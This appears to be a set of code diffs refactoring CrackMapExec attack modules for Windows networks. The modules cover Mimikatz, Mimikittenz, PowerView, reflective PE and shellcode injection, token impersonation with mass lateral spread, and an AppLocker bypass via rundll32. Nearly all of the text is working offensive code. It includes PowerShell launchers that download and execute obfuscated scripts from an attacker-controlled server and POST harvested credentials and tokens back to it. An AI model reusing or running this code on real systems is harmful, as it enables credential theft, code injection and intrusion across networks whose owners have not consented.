|
||||||
def on_request(self, context, request):
|
def payload(self, context, command):
|
||||||
|
with open(get_ps_script('Invoke-Mimikatz.ps1'), 'r') as ps_script:
|
||||||
|
return obfs_ps_script(ps_script.read())
|
||||||
|
|
||||||
|
def on_admin_login(self, context, connection, launcher, payload):
|
||||||
|
connection.execute(launcher)
|
||||||
|
context.log.success('Executed launcher')
|
||||||
|
|
||||||
|
def on_request(self, context, request, launcher, payload):
|
||||||
if 'Invoke-Mimikatz.ps1' == request.path[1:]:
|
if 'Invoke-Mimikatz.ps1' == request.path[1:]:
|
||||||
request.send_response(200)
|
request.send_response(200)
|
||||||
request.end_headers()
|
request.end_headers()
|
||||||
|
|
||||||
with open(get_ps_script('Invoke-Mimikatz.ps1'), 'r') as ps_script:
|
request.wfile.write(payload)
|
||||||
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
|
|
||||||
request.wfile.write(ps_script)
|
|
||||||
|
|
||||||
else:
|
else:
|
||||||
request.send_response(404)
|
request.send_response(404)
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script, write_log, gen_random_string
|
from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script, write_log
|
||||||
from StringIO import StringIO
|
from StringIO import StringIO
|
||||||
from datetime import datetime
|
from datetime import datetime
|
||||||
from sys import exit
|
from sys import exit
|
||||||
|
@ -13,17 +13,17 @@ class CMEModule:
|
||||||
|
|
||||||
description = "Executes Mimikittenz"
|
description = "Executes Mimikittenz"
|
||||||
|
|
||||||
|
chain_support = False
|
||||||
|
|
||||||
def options(self, context, module_options):
|
def options(self, context, module_options):
|
||||||
'''
|
'''
|
||||||
'''
|
'''
|
||||||
|
return
|
||||||
|
|
||||||
self.obfs_name = gen_random_string()
|
def launcher(self, context, command):
|
||||||
|
launcher = '''
|
||||||
def on_admin_login(self, context, connection):
|
|
||||||
|
|
||||||
payload = '''
|
|
||||||
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-mimikittenz.ps1');
|
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-mimikittenz.ps1');
|
||||||
$data = Invoke-{command};
|
$data = Invoke-Mimikittenz;
|
||||||
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
|
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
|
||||||
$request.Method = 'POST';
|
$request.Method = 'POST';
|
||||||
$request.ContentType = 'application/x-www-form-urlencoded';
|
$request.ContentType = 'application/x-www-form-urlencoded';
|
||||||
|
@ -34,22 +34,24 @@ class CMEModule:
|
||||||
$requestStream.Close();
|
$requestStream.Close();
|
||||||
$request.GetResponse();'''.format(server=context.server,
|
$request.GetResponse();'''.format(server=context.server,
|
||||||
port=context.server_port,
|
port=context.server_port,
|
||||||
addr=context.localip,
|
addr=context.localip)
|
||||||
command=self.obfs_name)
|
|
||||||
|
|
||||||
context.log.debug('Payload: {}'.format(payload))
|
return create_ps_command(launcher)
|
||||||
payload = create_ps_command(payload)
|
|
||||||
connection.execute(payload)
|
|
||||||
context.log.success('Executed payload')
|
|
||||||
|
|
||||||
def on_request(self, context, request):
|
def payload(self, context, command):
|
||||||
|
with open(get_ps_script('mimikittenz/Invoke-mimikittenz.ps1'), 'r') as ps_script:
|
||||||
|
return obfs_ps_script(ps_script.read())
|
||||||
|
|
||||||
|
def on_admin_login(self, context, connection, launcher, payload):
|
||||||
|
connection.execute(launcher)
|
||||||
|
context.log.success('Executed launcher')
|
||||||
|
|
||||||
|
def on_request(self, context, request, launcher, payload):
|
||||||
if 'Invoke-mimikittenz.ps1' == request.path[1:]:
|
if 'Invoke-mimikittenz.ps1' == request.path[1:]:
|
||||||
request.send_response(200)
|
request.send_response(200)
|
||||||
request.end_headers()
|
request.end_headers()
|
||||||
|
|
||||||
with open(get_ps_script('mimikittenz/Invoke-mimikittenz.ps1'), 'r') as ps_script:
|
request.wfile.write(payload)
|
||||||
ps_script = obfs_ps_script(ps_script.read(), function_name=self.obfs_name)
|
|
||||||
request.wfile.write(ps_script)
|
|
||||||
|
|
||||||
else:
|
else:
|
||||||
request.send_response(404)
|
request.send_response(404)
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
from cme.helpers import gen_random_string, create_ps_command, obfs_ps_script, get_ps_script
|
from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script
|
||||||
from sys import exit
|
from sys import exit
|
||||||
import os
|
import os
|
||||||
|
|
||||||
|
@ -7,10 +7,12 @@ class CMEModule:
|
||||||
Downloads the specified DLL/EXE and injects it into memory using PowerSploit's Invoke-ReflectivePEInjection.ps1 script
|
Downloads the specified DLL/EXE and injects it into memory using PowerSploit's Invoke-ReflectivePEInjection.ps1 script
|
||||||
Module by @byt3bl33d3r
|
Module by @byt3bl33d3r
|
||||||
'''
|
'''
|
||||||
name = 'peinject'
|
name = 'pe_inject'
|
||||||
|
|
||||||
description = "Downloads the specified DLL/EXE and injects it into memory using PowerSploit's Invoke-ReflectivePEInjection.ps1 script"
|
description = "Downloads the specified DLL/EXE and injects it into memory using PowerSploit's Invoke-ReflectivePEInjection.ps1 script"
|
||||||
|
|
||||||
|
chain_support = False
|
||||||
|
|
||||||
def options(self, context, module_options):
|
def options(self, context, module_options):
|
||||||
'''
|
'''
|
||||||
PATH Path to dll/exe to inject
|
PATH Path to dll/exe to inject
|
||||||
|
@ -36,39 +38,39 @@ class CMEModule:
|
||||||
if 'EXEARGS' in module_options:
|
if 'EXEARGS' in module_options:
|
||||||
self.exeargs = module_options['EXEARGS']
|
self.exeargs = module_options['EXEARGS']
|
||||||
|
|
||||||
self.obfs_name = gen_random_string()
|
def launcher(self, context, command):
|
||||||
|
launcher = """
|
||||||
def on_admin_login(self, context, connection):
|
|
||||||
|
|
||||||
payload = """
|
|
||||||
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-ReflectivePEInjection.ps1');
|
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-ReflectivePEInjection.ps1');
|
||||||
$WebClient = New-Object System.Net.WebClient;
|
$WebClient = New-Object System.Net.WebClient;
|
||||||
[Byte[]]$bytes = $WebClient.DownloadData('{server}://{addr}:{port}/{pefile}');
|
[Byte[]]$bytes = $WebClient.DownloadData('{server}://{addr}:{port}/{pefile}');
|
||||||
Invoke-{func_name} -PEBytes $bytes""".format(server=context.server,
|
Invoke-ReflectivePEInjection -PEBytes $bytes""".format(server=context.server,
|
||||||
port=context.server_port,
|
port=context.server_port,
|
||||||
addr=context.localip,
|
addr=context.localip,
|
||||||
func_name=self.obfs_name,
|
|
||||||
pefile=os.path.basename(self.payload_path))
|
pefile=os.path.basename(self.payload_path))
|
||||||
|
|
||||||
if self.procid:
|
if self.procid:
|
||||||
payload += ' -ProcessID {}'.format(self.procid)
|
launcher += ' -ProcessID {}'.format(self.procid)
|
||||||
|
|
||||||
if self.exeargs:
|
if self.exeargs:
|
||||||
payload += ' -ExeArgs "{}"'.format(self.exeargs)
|
launcher += ' -ExeArgs "{}"'.format(self.exeargs)
|
||||||
|
|
||||||
context.log.debug('Payload:{}'.format(payload))
|
return create_ps_command(launcher, force_ps32=True)
|
||||||
payload = create_ps_command(payload, force_ps32=True)
|
|
||||||
connection.execute(payload)
|
|
||||||
context.log.success('Executed payload')
|
|
||||||
|
|
||||||
def on_request(self, context, request):
|
def payload(self, context, command):
|
||||||
|
with open(get_ps_script('PowerSploit/CodeExecution/Invoke-ReflectivePEInjection.ps1'), 'r') as ps_script:
|
||||||
|
return obfs_ps_script(ps_script.read())
|
||||||
|
|
||||||
|
def on_admin_login(self, context, connection, launcher, payload):
|
||||||
|
connection.execute(launcher)
|
||||||
|
context.log.success('Executed launcher')
|
||||||
|
|
||||||
|
def on_request(self, context, request, launcher, payload):
|
||||||
if 'Invoke-ReflectivePEInjection.ps1' == request.path[1:]:
|
if 'Invoke-ReflectivePEInjection.ps1' == request.path[1:]:
|
||||||
request.send_response(200)
|
request.send_response(200)
|
||||||
request.end_headers()
|
request.end_headers()
|
||||||
|
|
||||||
with open(get_ps_script('PowerSploit/CodeExecution/Invoke-ReflectivePEInjection.ps1'), 'r') as ps_script:
|
|
||||||
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
|
request.wfile.write(launcher)
|
||||||
request.wfile.write(ps_script)
|
|
||||||
|
|
||||||
elif os.path.basename(self.payload_path) == request.path[1:]:
|
elif os.path.basename(self.payload_path) == request.path[1:]:
|
||||||
request.send_response(200)
|
request.send_response(200)
|
|
@ -13,24 +13,39 @@ class CMEModule:
|
||||||
|
|
||||||
description = "Wrapper for PowerView's functions"
|
description = "Wrapper for PowerView's functions"
|
||||||
|
|
||||||
|
chain_support = False
|
||||||
|
|
||||||
def options(self, context, module_options):
|
def options(self, context, module_options):
|
||||||
'''
|
'''
|
||||||
COMMAND Powerview command to run
|
COMMAND Command to execute on the target system(s) (Required if CMDFILE isn't specified)
|
||||||
|
CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified)
|
||||||
'''
|
'''
|
||||||
|
|
||||||
self.command = None
|
if not 'COMMAND' in module_options and not 'CMDFILE' in module_options:
|
||||||
if not 'COMMAND' in module_options:
|
context.log.error('COMMAND or CMDFILE options are required!')
|
||||||
context.log.error('COMMAND option is required!')
|
exit(1)
|
||||||
|
|
||||||
|
if 'COMMAND' in module_options and 'CMDFILE' in module_options:
|
||||||
|
context.log.error('COMMAND and CMDFILE are mutually exclusive!')
|
||||||
exit(1)
|
exit(1)
|
||||||
|
|
||||||
if 'COMMAND' in module_options:
|
if 'COMMAND' in module_options:
|
||||||
self.command = module_options['COMMAND']
|
self.command = module_options['COMMAND']
|
||||||
|
|
||||||
def on_admin_login(self, context, connection):
|
elif 'CMDFILE' in module_options:
|
||||||
|
path = os.path.expanduser(module_options['CMDFILE'])
|
||||||
|
|
||||||
powah_command = self.command + ' | Out-String'
|
if not os.path.exists(path):
|
||||||
|
context.log.error('Path to CMDFILE invalid!')
|
||||||
|
exit(1)
|
||||||
|
|
||||||
payload = '''
|
with open(path, 'r') as cmdfile:
|
||||||
|
self.command = cmdfile.read().strip()
|
||||||
|
|
||||||
|
def launcher(self, context, command):
|
||||||
|
powah_command = command + ' | Out-String'
|
||||||
|
|
||||||
|
launcher = '''
|
||||||
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/PowerView.ps1');
|
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/PowerView.ps1');
|
||||||
$data = {command}
|
$data = {command}
|
||||||
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
|
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
|
||||||
|
@ -46,18 +61,21 @@ class CMEModule:
|
||||||
addr=context.localip,
|
addr=context.localip,
|
||||||
command=powah_command)
|
command=powah_command)
|
||||||
|
|
||||||
context.log.debug('Payload: {}'.format(payload))
|
return create_ps_command(launcher)
|
||||||
payload = create_ps_command(payload)
|
|
||||||
connection.execute(payload, methods=['atexec', 'smbexec'])
|
def payload(self, context, command):
|
||||||
context.log.success('Executed payload')
|
with open(get_ps_script('PowerSploit/Recon/PowerView.ps1'), 'r') as ps_script:
|
||||||
|
return obfs_ps_script(ps_script.read())
|
||||||
|
|
||||||
|
def on_admin_login(self, context, connection, launcher, payload):
|
||||||
|
connection.execute(launcher, methods=['atexec', 'smbexec'])
|
||||||
|
context.log.success('Executed launcher')
|
||||||
|
|
||||||
def on_request(self, context, request):
|
def on_request(self, context, request):
|
||||||
if 'PowerView.ps1' == request.path[1:]:
|
if 'PowerView.ps1' == request.path[1:]:
|
||||||
request.send_response(200)
|
request.send_response(200)
|
||||||
request.end_headers()
|
request.end_headers()
|
||||||
|
|
||||||
with open(get_ps_script('PowerSploit/Recon/PowerView.ps1'), 'r') as ps_script:
|
|
||||||
ps_script = obfs_ps_script(ps_script.read())
|
|
||||||
request.wfile.write(ps_script)
|
request.wfile.write(ps_script)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
|
|
|
@ -0,0 +1,51 @@
|
||||||
|
class CMEModule:
|
||||||
|
'''
|
||||||
|
AppLocker bypass using rundll32 and Windows native javascript interpreter
|
||||||
|
Module by @byt3bl33d3r
|
||||||
|
|
||||||
|
'''
|
||||||
|
|
||||||
|
name = 'rundll32_exec'
|
||||||
|
|
||||||
|
description = 'Executes a command using rundll32 and Windows\'s native javascript interpreter'
|
||||||
|
|
||||||
|
#If the module supports chaining, change this to True
|
||||||
|
chain_support = True
|
||||||
|
|
||||||
|
def options(self, context, module_options):
|
||||||
|
'''
|
||||||
|
COMMAND Command to execute on the target system(s) (Required if CMDFILE isn't specified)
|
||||||
|
CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified)
|
||||||
|
'''
|
||||||
|
|
||||||
|
if not 'COMMAND' in module_options and not 'CMDFILE' in module_options:
|
||||||
|
context.log.error('COMMAND or CMDFILE options are required!')
|
||||||
|
exit(1)
|
||||||
|
|
||||||
|
if 'COMMAND' in module_options and 'CMDFILE' in module_options:
|
||||||
|
context.log.error('COMMAND and CMDFILE are mutually exclusive!')
|
||||||
|
exit(1)
|
||||||
|
|
||||||
|
if 'COMMAND' in module_options:
|
||||||
|
self.command = module_options['COMMAND']
|
||||||
|
|
||||||
|
elif 'CMDFILE' in module_options:
|
||||||
|
path = os.path.expanduser(module_options['CMDFILE'])
|
||||||
|
|
||||||
|
if not os.path.exists(path):
|
||||||
|
context.log.error('Path to CMDFILE invalid!')
|
||||||
|
exit(1)
|
||||||
|
|
||||||
|
with open(path, 'r') as cmdfile:
|
||||||
|
self.command = cmdfile.read().strip()
|
||||||
|
|
||||||
|
def launcher(self, context, command):
|
||||||
|
launcher = 'rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("{}");'.format(command)
|
||||||
|
return launcher
|
||||||
|
|
||||||
|
def payload(self, context, command):
|
||||||
|
return
|
||||||
|
|
||||||
|
def on_admin_login(self, context, connection, launcher, payload):
|
||||||
|
connection.execute(launcher)
|
||||||
|
context.log.success('Executed command')
|
|
@ -1,16 +1,18 @@
|
||||||
import os
|
from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script
|
||||||
from cme.helpers import gen_random_string, create_ps_command, obfs_ps_script, get_ps_script
|
|
||||||
from sys import exit
|
from sys import exit
|
||||||
|
import os
|
||||||
|
|
||||||
class CMEModule:
|
class CMEModule:
|
||||||
'''
|
'''
|
||||||
Downloads the specified raw shellcode and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script
|
Downloads the specified raw shellcode and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script
|
||||||
Module by @byt3bl33d3r
|
Module by @byt3bl33d3r
|
||||||
'''
|
'''
|
||||||
name = 'shellinject'
|
name = 'shellcode_inject'
|
||||||
|
|
||||||
description = "Downloads the specified raw shellcode and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script"
|
description = "Downloads the specified raw shellcode and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script"
|
||||||
|
|
||||||
|
chain_support = False
|
||||||
|
|
||||||
def options(self, context, module_options):
|
def options(self, context, module_options):
|
||||||
'''
|
'''
|
||||||
PATH Path to the raw shellcode to inject
|
PATH Path to the raw shellcode to inject
|
||||||
|
@ -31,36 +33,35 @@ class CMEModule:
|
||||||
if 'PROCID' in module_options.keys():
|
if 'PROCID' in module_options.keys():
|
||||||
self.procid = module_options['PROCID']
|
self.procid = module_options['PROCID']
|
||||||
|
|
||||||
self.obfs_name = gen_random_string()
|
def launcher(self, context, command):
|
||||||
|
launcher = """
|
||||||
def on_admin_login(self, context, connection):
|
|
||||||
|
|
||||||
payload = """
|
|
||||||
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Shellcode.ps1');
|
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Shellcode.ps1');
|
||||||
$WebClient = New-Object System.Net.WebClient;
|
$WebClient = New-Object System.Net.WebClient;
|
||||||
[Byte[]]$bytes = $WebClient.DownloadData('{server}://{addr}:{port}/{shellcode}');
|
[Byte[]]$bytes = $WebClient.DownloadData('{server}://{addr}:{port}/{shellcode}');
|
||||||
Invoke-{func_name} -Force -Shellcode $bytes""".format(server=context.server,
|
Invoke-Shellcode -Force -Shellcode $bytes""".format(server=context.server,
|
||||||
port=context.server_port,
|
port=context.server_port,
|
||||||
addr=context.localip,
|
addr=context.localip,
|
||||||
func_name=self.obfs_name,
|
|
||||||
shellcode=os.path.basename(self.shellcode_path))
|
shellcode=os.path.basename(self.shellcode_path))
|
||||||
|
|
||||||
if self.procid:
|
if self.procid:
|
||||||
payload += ' -ProcessID {}'.format(self.procid)
|
launcher += ' -ProcessID {}'.format(self.procid)
|
||||||
|
|
||||||
context.log.debug('Payload:{}'.format(payload))
|
return create_ps_command(launcher, force_ps32=True)
|
||||||
payload = create_ps_command(payload, force_ps32=True)
|
|
||||||
connection.execute(payload)
|
|
||||||
context.log.success('Executed payload')
|
|
||||||
|
|
||||||
def on_request(self, context, request):
|
def payload(self, context, command):
|
||||||
|
with open(get_ps_script('Powersploit/CodeExecution/Invoke-Shellcode.ps1') ,'r') as ps_script:
|
||||||
|
return obfs_ps_script(ps_script.read())
|
||||||
|
|
||||||
|
def on_admin_login(self, context, connection, launcher, payload):
|
||||||
|
connection.execute(launcher)
|
||||||
|
context.log.success('Executed launcher')
|
||||||
|
|
||||||
|
def on_request(self, context, request, launcher, payload):
|
||||||
if 'Invoke-Shellcode.ps1' == request.path[1:]:
|
if 'Invoke-Shellcode.ps1' == request.path[1:]:
|
||||||
request.send_response(200)
|
request.send_response(200)
|
||||||
request.end_headers()
|
request.end_headers()
|
||||||
|
|
||||||
with open(get_ps_script('Powersploit/CodeExecution/Invoke-Shellcode.ps1') ,'r') as ps_script:
|
request.wfile.write(payload)
|
||||||
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
|
|
||||||
request.wfile.write(ps_script)
|
|
||||||
|
|
||||||
elif os.path.basename(self.shellcode_path) == request.path[1:]:
|
elif os.path.basename(self.shellcode_path) == request.path[1:]:
|
||||||
request.send_response(200)
|
request.send_response(200)
|
||||||
|
|
|
@ -1,5 +1,5 @@
|
||||||
from StringIO import StringIO
|
from StringIO import StringIO
|
||||||
from cme.helpers import create_ps_command, gen_random_string, obfs_ps_script, get_ps_script
|
from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script
|
||||||
from base64 import b64encode
|
from base64 import b64encode
|
||||||
import sys
|
import sys
|
||||||
import os
|
import os
|
||||||
|
@ -16,16 +16,18 @@ class CMEModule:
|
||||||
Module by @byt3bl33d3r
|
Module by @byt3bl33d3r
|
||||||
'''
|
'''
|
||||||
|
|
||||||
name = 'tokenrider'
|
name = 'token_rider'
|
||||||
|
|
||||||
description = 'Allows for automatic token enumeration, impersonation and mass lateral spread using privileges instead of dumped credentials'
|
description = 'Allows for automatic token enumeration, impersonation and mass lateral spread using privileges instead of dumped credentials'
|
||||||
|
|
||||||
|
chain_support = True
|
||||||
|
|
||||||
def options(self, context, module_options):
|
def options(self, context, module_options):
|
||||||
'''
|
'''
|
||||||
TARGET Target machine(s) to execute the command on (comma seperated)
|
TARGET Target machine(s) to execute the command on (comma seperated)
|
||||||
USER User to impersonate
|
USER User to impersonate
|
||||||
DOMAIN Domain of the user to impersonate
|
DOMAIN Domain of the user to impersonate
|
||||||
CMD Command to execute on the target system(s) (Required if CMDFILE isn't specified)
|
COMMAND Command to execute on the target system(s) (Required if CMDFILE isn't specified)
|
||||||
CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified)
|
CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified)
|
||||||
'''
|
'''
|
||||||
|
|
||||||
|
@ -33,20 +35,21 @@ class CMEModule:
|
||||||
context.log.error('TARGET, USER and DOMAIN options are required!')
|
context.log.error('TARGET, USER and DOMAIN options are required!')
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
if not 'CMD' in module_options and not 'CMDFILE' in module_options:
|
if not 'COMMAND' in module_options and not 'CMDFILE' in module_options:
|
||||||
context.log.error('CMD or CMDFILE options are required!')
|
context.log.error('COMMAND or CMDFILE options are required!')
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
if 'CMD' in module_options and 'CMDFILE' in module_options:
|
if 'COMMAND' in module_options and 'CMDFILE' in module_options:
|
||||||
context.log.error('CMD and CMDFILE are mutually exclusive!')
|
context.log.error('COMMAND and CMDFILE are mutually exclusive!')
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
self.target_computers = ''
|
self.target_computers = ''
|
||||||
self.target_user = module_options['USER']
|
self.target_user = module_options['USER']
|
||||||
self.target_domain = module_options['DOMAIN']
|
self.target_domain = module_options['DOMAIN']
|
||||||
|
|
||||||
if 'CMD' in module_options:
|
if 'COMMAND' in module_options:
|
||||||
self.command = module_options['CMD']
|
self.command = module_options['COMMAND']
|
||||||
|
|
||||||
elif 'CMDFILE' in module_options:
|
elif 'CMDFILE' in module_options:
|
||||||
path = os.path.expanduser(module_options['CMDFILE'])
|
path = os.path.expanduser(module_options['CMDFILE'])
|
||||||
|
|
||||||
|
@ -62,12 +65,9 @@ class CMEModule:
|
||||||
self.target_computers += '"{}",'.format(target)
|
self.target_computers += '"{}",'.format(target)
|
||||||
self.target_computers = self.target_computers[:-1]
|
self.target_computers = self.target_computers[:-1]
|
||||||
|
|
||||||
self.obfs_name = gen_random_string()
|
|
||||||
|
|
||||||
#context.log.debug('Target system string: {}'.format(self.target_computers))
|
#context.log.debug('Target system string: {}'.format(self.target_computers))
|
||||||
|
|
||||||
def on_admin_login(self, context, connection):
|
def launcher(self, context, command):
|
||||||
|
|
||||||
second_stage = '''
|
second_stage = '''
|
||||||
[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};
|
[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};
|
||||||
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/TokenRider.ps1');'''.format(server=context.server,
|
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/TokenRider.ps1');'''.format(server=context.server,
|
||||||
|
@ -75,8 +75,8 @@ class CMEModule:
|
||||||
port=context.server_port)
|
port=context.server_port)
|
||||||
context.log.debug(second_stage)
|
context.log.debug(second_stage)
|
||||||
|
|
||||||
#Main payload
|
#Main launcher
|
||||||
payload = '''
|
launcher = '''
|
||||||
function Send-POSTRequest {{
|
function Send-POSTRequest {{
|
||||||
[CmdletBinding()]
|
[CmdletBinding()]
|
||||||
Param (
|
Param (
|
||||||
|
@ -94,7 +94,7 @@ class CMEModule:
|
||||||
}}
|
}}
|
||||||
|
|
||||||
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-TokenManipulation.ps1');
|
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-TokenManipulation.ps1');
|
||||||
$tokens = Invoke-{obfs_func} -Enum;
|
$tokens = Invoke-TokenManipulation -Enum;
|
||||||
foreach ($token in $tokens){{
|
foreach ($token in $tokens){{
|
||||||
if ($token.Domain -eq "{domain}" -and $token.Username -eq "{user}"){{
|
if ($token.Domain -eq "{domain}" -and $token.Username -eq "{user}"){{
|
||||||
|
|
||||||
|
@ -103,43 +103,26 @@ class CMEModule:
|
||||||
$post_back = $post_back + $token_desc;
|
$post_back = $post_back + $token_desc;
|
||||||
Send-POSTRequest $post_back
|
Send-POSTRequest $post_back
|
||||||
|
|
||||||
Invoke-{obfs_func} -Username "{domain}\\{user}" -CreateProcess "cmd.exe" -ProcessArgs "/c powershell.exe -exec bypass -window hidden -noni -nop -encoded {command}";
|
Invoke-TokenManipulation -Username "{domain}\\{user}" -CreateProcess "cmd.exe" -ProcessArgs "/c powershell.exe -exec bypass -window hidden -noni -nop -encoded {command}";
|
||||||
return
|
return
|
||||||
}}
|
}}
|
||||||
}}
|
}}
|
||||||
|
|
||||||
Send-POSTRequest "User token not present on system!"'''.format(obfs_func=self.obfs_name,
|
Send-POSTRequest "User token not present on system!"'''.format(command=b64encode(second_stage.encode('UTF-16LE')),
|
||||||
command=b64encode(second_stage.encode('UTF-16LE')),
|
|
||||||
server=context.server,
|
server=context.server,
|
||||||
addr=context.localip,
|
addr=context.localip,
|
||||||
port=context.server_port,
|
port=context.server_port,
|
||||||
user=self.target_user,
|
user=self.target_user,
|
||||||
domain=self.target_domain)
|
domain=self.target_domain)
|
||||||
|
|
||||||
context.log.debug(payload)
|
return create_ps_command(launcher)
|
||||||
payload = create_ps_command(payload)
|
|
||||||
connection.execute(payload, methods=['atexec', 'smbexec'])
|
|
||||||
context.log.success('Executed payload')
|
|
||||||
|
|
||||||
def on_request(self, context, request):
|
def payload(self, context, command):
|
||||||
if 'Invoke-TokenManipulation.ps1' == request.path[1:]:
|
command_to_execute = 'cmd.exe /c {}'.format(command)
|
||||||
request.send_response(200)
|
|
||||||
request.end_headers()
|
|
||||||
|
|
||||||
with open(get_ps_script('PowerSploit/Exfiltration/Invoke-TokenManipulation.ps1'), 'r') as ps_script:
|
|
||||||
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
|
|
||||||
request.wfile.write(ps_script)
|
|
||||||
|
|
||||||
elif 'TokenRider.ps1' == request.path[1:]:
|
|
||||||
request.send_response(200)
|
|
||||||
request.end_headers()
|
|
||||||
|
|
||||||
#Command to execute on the target system(s)
|
|
||||||
command_to_execute = 'cmd.exe /c {}'.format(self.command)
|
|
||||||
#context.log.debug(command_to_execute)
|
#context.log.debug(command_to_execute)
|
||||||
|
|
||||||
#This will get executed in the process that was created with the impersonated token
|
#This will get executed in the process that was created with the impersonated token
|
||||||
elevated_ps_command = '''
|
payload = '''
|
||||||
[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};
|
[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};
|
||||||
function Send-POSTRequest {{
|
function Send-POSTRequest {{
|
||||||
[CmdletBinding()]
|
[CmdletBinding()]
|
||||||
|
@ -173,7 +156,27 @@ class CMEModule:
|
||||||
targets=self.target_computers,
|
targets=self.target_computers,
|
||||||
command=command_to_execute)
|
command=command_to_execute)
|
||||||
|
|
||||||
request.wfile.write(elevated_ps_command)
|
return payload
|
||||||
|
|
||||||
|
def on_admin_login(self, context, connection, launcher, payload):
|
||||||
|
connection.execute(launcher, methods=['atexec', 'smbexec'])
|
||||||
|
context.log.success('Executed launcher')
|
||||||
|
|
||||||
|
def on_request(self, context, request, launcher, payload):
|
||||||
|
if 'Invoke-TokenManipulation.ps1' == request.path[1:]:
|
||||||
|
request.send_response(200)
|
||||||
|
request.end_headers()
|
||||||
|
|
||||||
|
with open(get_ps_script('PowerSploit/Exfiltration/Invoke-TokenManipulation.ps1'), 'r') as ps_script:
|
||||||
|
ps_script = obfs_ps_script(ps_script.read())
|
||||||
|
request.wfile.write(ps_script)
|
||||||
|
|
||||||
|
elif 'TokenRider.ps1' == request.path[1:]:
|
||||||
|
request.send_response(200)
|
||||||
|
request.end_headers()
|
||||||
|
|
||||||
|
#Command to execute on the target system(s)
|
||||||
|
request.wfile.write(payload)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
request.send_response(404)
|
request.send_response(404)
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
from cme.helpers import create_ps_command, obfs_ps_script, gen_random_string, get_ps_script, write_log
|
from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script, write_log
|
||||||
from datetime import datetime
|
from datetime import datetime
|
||||||
from StringIO import StringIO
|
from StringIO import StringIO
|
||||||
import os
|
import os
|
||||||
|
@ -14,6 +14,8 @@ class CMEModule:
|
||||||
|
|
||||||
description = "Enumerates available tokens using Powersploit's Invoke-TokenManipulation"
|
description = "Enumerates available tokens using Powersploit's Invoke-TokenManipulation"
|
||||||
|
|
||||||
|
chain_support = False
|
||||||
|
|
||||||
def options(self, context, module_options):
|
def options(self, context, module_options):
|
||||||
'''
|
'''
|
||||||
USER Search for the specified username in available tokens (default: None)
|
USER Search for the specified username in available tokens (default: None)
|
||||||
|
@ -39,13 +41,10 @@ class CMEModule:
|
||||||
|
|
||||||
self.userfile = path
|
self.userfile = path
|
||||||
|
|
||||||
self.obfs_name = gen_random_string()
|
def launcher(self, context, command):
|
||||||
|
launcher = '''
|
||||||
def on_admin_login(self, context, connection):
|
|
||||||
|
|
||||||
payload = '''
|
|
||||||
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-TokenManipulation.ps1');
|
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-TokenManipulation.ps1');
|
||||||
$creds = Invoke-{func_name} -Enumerate | Select-Object Domain, Username, ProcessId, IsElevated | Out-String;
|
$creds = Invoke-TokenManipulation -Enumerate | Select-Object Domain, Username, ProcessId, IsElevated | Out-String;
|
||||||
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
|
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
|
||||||
$request.Method = 'POST';
|
$request.Method = 'POST';
|
||||||
$request.ContentType = 'application/x-www-form-urlencoded';
|
$request.ContentType = 'application/x-www-form-urlencoded';
|
||||||
|
@ -56,22 +55,24 @@ class CMEModule:
|
||||||
$requestStream.Close();
|
$requestStream.Close();
|
||||||
$request.GetResponse();'''.format(server=context.server,
|
$request.GetResponse();'''.format(server=context.server,
|
||||||
port=context.server_port,
|
port=context.server_port,
|
||||||
addr=context.localip,
|
addr=context.localip)
|
||||||
func_name=self.obfs_name)
|
|
